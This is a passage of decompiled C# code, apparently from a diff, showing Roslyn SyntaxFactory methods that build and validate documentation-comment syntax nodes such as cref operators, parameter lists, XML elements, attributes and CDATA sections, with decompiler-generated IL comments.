SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanToken: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + return (Microsoft.CodeAnalysis.CSharp.Syntax.OperatorMemberCrefSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.OperatorMemberCref((SyntaxToken)(object)((SyntaxToken)(ref operatorKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref checkedKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (parameters == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterListSyntax)(object)((SyntaxNode)parameters).Green))).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorMemberCrefSyntax OperatorMemberCref(SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return OperatorMemberCref(Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), operatorToken, parameters); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorMemberCrefSyntax OperatorMemberCref(SyntaxToken operatorToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return OperatorMemberCref(Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), operatorToken, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax ConversionOperatorMemberCref(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = implicitOrExplicitKeyword.Kind(); + if (syntaxKind - 8383 > SyntaxKind.List) + { + throw new ArgumentException("implicitOrExplicitKeyword"); + } + if (operatorKeyword.Kind() != SyntaxKind.OperatorKeyword) + { + throw new ArgumentException("operatorKeyword"); + } + syntaxKind = checkedKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CheckedKeyword) + { + throw new ArgumentException("checkedKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConversionOperatorMemberCref((SyntaxToken)(object)((SyntaxToken)(ref implicitOrExplicitKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref operatorKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref checkedKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (parameters == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterListSyntax)(object)((SyntaxNode)parameters).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax ConversionOperatorMemberCref(SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorMemberCref(implicitOrExplicitKeyword, Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), type, parameters); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax ConversionOperatorMemberCref(SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorMemberCref(implicitOrExplicitKeyword, Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), type, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax CrefParameterList(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CrefParameterList((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(parameters.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax CrefParameterList(SeparatedSyntaxList parameters = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return CrefParameterList(Token(SyntaxKind.OpenParenToken), parameters, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefBracketedParameterListSyntax CrefBracketedParameterList(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CrefBracketedParameterListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CrefBracketedParameterList((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(parameters.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefBracketedParameterListSyntax CrefBracketedParameterList(SeparatedSyntaxList parameters = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return CrefBracketedParameterList(Token(SyntaxKind.OpenBracketToken), parameters, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterSyntax CrefParameter(SyntaxToken refKindKeyword, SyntaxToken readOnlyKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = refKindKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8360 > (SyntaxKind)2) + { + throw new ArgumentException("refKindKeyword"); + } + syntaxKind = readOnlyKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.ReadOnlyKeyword) + { + throw new ArgumentException("readOnlyKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CrefParameter((SyntaxToken)(object)((SyntaxToken)(ref refKindKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref readOnlyKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterSyntax CrefParameter(SyntaxToken refKindKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return CrefParameter(refKindKeyword, default(SyntaxToken), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterSyntax CrefParameter(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return CrefParameter(default(SyntaxToken), default(SyntaxToken), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlElement(Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax startTag, SyntaxList content, Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementEndTagSyntax endTag) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if (startTag == null) + { + throw new ArgumentNullException("startTag"); + } + if (endTag == null) + { + throw new ArgumentNullException("endTag"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlElement((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlElementStartTagSyntax)(object)((SyntaxNode)startTag).Green, GreenNodeExtensions.ToGreenList(content.Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlElementEndTagSyntax)(object)((SyntaxNode)endTag).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlElement(Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax startTag, Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementEndTagSyntax endTag) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return XmlElement(startTag, default(SyntaxList), endTag); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax XmlElementStartTag(SyntaxToken lessThanToken, Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxList attributes, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken.Kind() != SyntaxKind.LessThanToken) + { + throw new ArgumentException("lessThanToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (greaterThanToken.Kind() != SyntaxKind.GreaterThanToken) + { + throw new ArgumentException("greaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlElementStartTag((SyntaxToken)(object)((SyntaxToken)(ref lessThanToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, GreenNodeExtensions.ToGreenList(attributes.Node), (SyntaxToken)(object)((SyntaxToken)(ref greaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax XmlElementStartTag(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxList attributes) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return XmlElementStartTag(Token(SyntaxKind.LessThanToken), name, attributes, Token(SyntaxKind.GreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax XmlElementStartTag(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return XmlElementStartTag(Token(SyntaxKind.LessThanToken), name, default(SyntaxList), Token(SyntaxKind.GreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementEndTagSyntax XmlElementEndTag(SyntaxToken lessThanSlashToken, Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (lessThanSlashToken.Kind() != SyntaxKind.LessThanSlashToken) + { + throw new ArgumentException("lessThanSlashToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (greaterThanToken.Kind() != SyntaxKind.GreaterThanToken) + { + throw new ArgumentException("greaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementEndTagSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlElementEndTag((SyntaxToken)(object)((SyntaxToken)(ref lessThanSlashToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref greaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementEndTagSyntax XmlElementEndTag(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return XmlElementEndTag(Token(SyntaxKind.LessThanSlashToken), name, Token(SyntaxKind.GreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlEmptyElement(SyntaxToken lessThanToken, Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxList attributes, SyntaxToken slashGreaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken.Kind() != SyntaxKind.LessThanToken) + { + throw new ArgumentException("lessThanToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (slashGreaterThanToken.Kind() != SyntaxKind.SlashGreaterThanToken) + { + throw new ArgumentException("slashGreaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlEmptyElement((SyntaxToken)(object)((SyntaxToken)(ref lessThanToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, GreenNodeExtensions.ToGreenList(attributes.Node), (SyntaxToken)(object)((SyntaxToken)(ref slashGreaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlEmptyElement(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxList attributes) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return XmlEmptyElement(Token(SyntaxKind.LessThanToken), name, attributes, Token(SyntaxKind.SlashGreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlEmptyElement(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return XmlEmptyElement(Token(SyntaxKind.LessThanToken), name, default(SyntaxList), Token(SyntaxKind.SlashGreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax XmlName(Microsoft.CodeAnalysis.CSharp.Syntax.XmlPrefixSyntax? prefix, SyntaxToken localName) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (localName.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("localName"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlName((prefix == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlPrefixSyntax)(object)((SyntaxNode)prefix).Green), (SyntaxToken)(object)((SyntaxToken)(ref localName)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax XmlName(SyntaxToken localName) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlName(null, localName); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax XmlName(string localName) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return XmlName(null, Identifier(localName)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlPrefixSyntax XmlPrefix(SyntaxToken prefix, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (prefix.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("prefix"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlPrefixSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlPrefix((SyntaxToken)(object)((SyntaxToken)(ref prefix)).Node, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlPrefixSyntax XmlPrefix(SyntaxToken prefix) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return XmlPrefix(prefix, Token(SyntaxKind.ColonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlPrefixSyntax XmlPrefix(string prefix) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return XmlPrefix(Identifier(prefix), Token(SyntaxKind.ColonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, SyntaxTokenList textTokens, SyntaxToken endQuoteToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (equalsToken.Kind() != SyntaxKind.EqualsToken) + { + throw new ArgumentException("equalsToken"); + } + SyntaxKind syntaxKind = startQuoteToken.Kind(); + if (syntaxKind - 8213 > SyntaxKind.List) + { + throw new ArgumentException("startQuoteToken"); + } + syntaxKind = endQuoteToken.Kind(); + if (syntaxKind - 8213 > SyntaxKind.List) + { + throw new ArgumentException("endQuoteToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlTextAttribute((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref equalsToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref startQuoteToken)).Node, GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref textTokens)).Node), (SyntaxToken)(object)((SyntaxToken)(ref endQuoteToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken startQuoteToken, SyntaxTokenList textTokens, SyntaxToken endQuoteToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return XmlTextAttribute(name, Token(SyntaxKind.EqualsToken), startQuoteToken, textTokens, endQuoteToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken startQuoteToken, SyntaxToken endQuoteToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return XmlTextAttribute(name, Token(SyntaxKind.EqualsToken), startQuoteToken, default(SyntaxTokenList), endQuoteToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax XmlCrefAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, SyntaxToken endQuoteToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (equalsToken.Kind() != SyntaxKind.EqualsToken) + { + throw new ArgumentException("equalsToken"); + } + SyntaxKind syntaxKind = startQuoteToken.Kind(); + if (syntaxKind - 8213 > SyntaxKind.List) + { + throw new ArgumentException("startQuoteToken"); + } + if (cref == null) + { + throw new ArgumentNullException("cref"); + } + syntaxKind = endQuoteToken.Kind(); + if (syntaxKind - 8213 > SyntaxKind.List) + { + throw new ArgumentException("endQuoteToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlCrefAttribute((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref equalsToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref startQuoteToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefSyntax)(object)((SyntaxNode)cref).Green, (SyntaxToken)(object)((SyntaxToken)(ref endQuoteToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax XmlCrefAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken startQuoteToken, Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, SyntaxToken endQuoteToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return XmlCrefAttribute(name, Token(SyntaxKind.EqualsToken), startQuoteToken, cref, endQuoteToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameAttributeSyntax XmlNameAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (equalsToken.Kind() != SyntaxKind.EqualsToken) + { + throw new ArgumentException("equalsToken"); + } + SyntaxKind syntaxKind = startQuoteToken.Kind(); + if (syntaxKind - 8213 > SyntaxKind.List) + { + throw new ArgumentException("startQuoteToken"); + } + if (identifier == null) + { + throw new ArgumentNullException("identifier"); + } + syntaxKind = endQuoteToken.Kind(); + if (syntaxKind - 8213 > SyntaxKind.List) + { + throw new ArgumentException("endQuoteToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameAttributeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlNameAttribute((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref equalsToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref startQuoteToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IdentifierNameSyntax)(object)((SyntaxNode)identifier).Green, (SyntaxToken)(object)((SyntaxToken)(ref endQuoteToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameAttributeSyntax XmlNameAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken startQuoteToken, Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return XmlNameAttribute(name, Token(SyntaxKind.EqualsToken), startQuoteToken, identifier, endQuoteToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameAttributeSyntax XmlNameAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxToken startQuoteToken, string identifier, SyntaxToken endQuoteToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return XmlNameAttribute(name, Token(SyntaxKind.EqualsToken), startQuoteToken, IdentifierName(identifier), endQuoteToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax XmlText(SyntaxTokenList textTokens) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlText(GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref textTokens)).Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax XmlText() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return SyntaxFactory.XmlText(default(SyntaxTokenList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCDataSectionSyntax XmlCDataSection(SyntaxToken startCDataToken, SyntaxTokenList textTokens, SyntaxToken endCDataToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (startCDataToken.Kind() != SyntaxKind.XmlCDataStartToken) + { + throw new ArgumentException("startCDataToken"); + } + if (endCDataToken.Kind() != SyntaxKind.XmlCDataEndToken) + { + throw new ArgumentException("endCDataToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.XmlCDataSectionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlCDataSection((SyntaxToken)(object)((SyntaxToken)(ref startCDataToken)).Node, GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref textTokens)).Node), (SyntaxToken)(object)((SyntaxToken)(ref 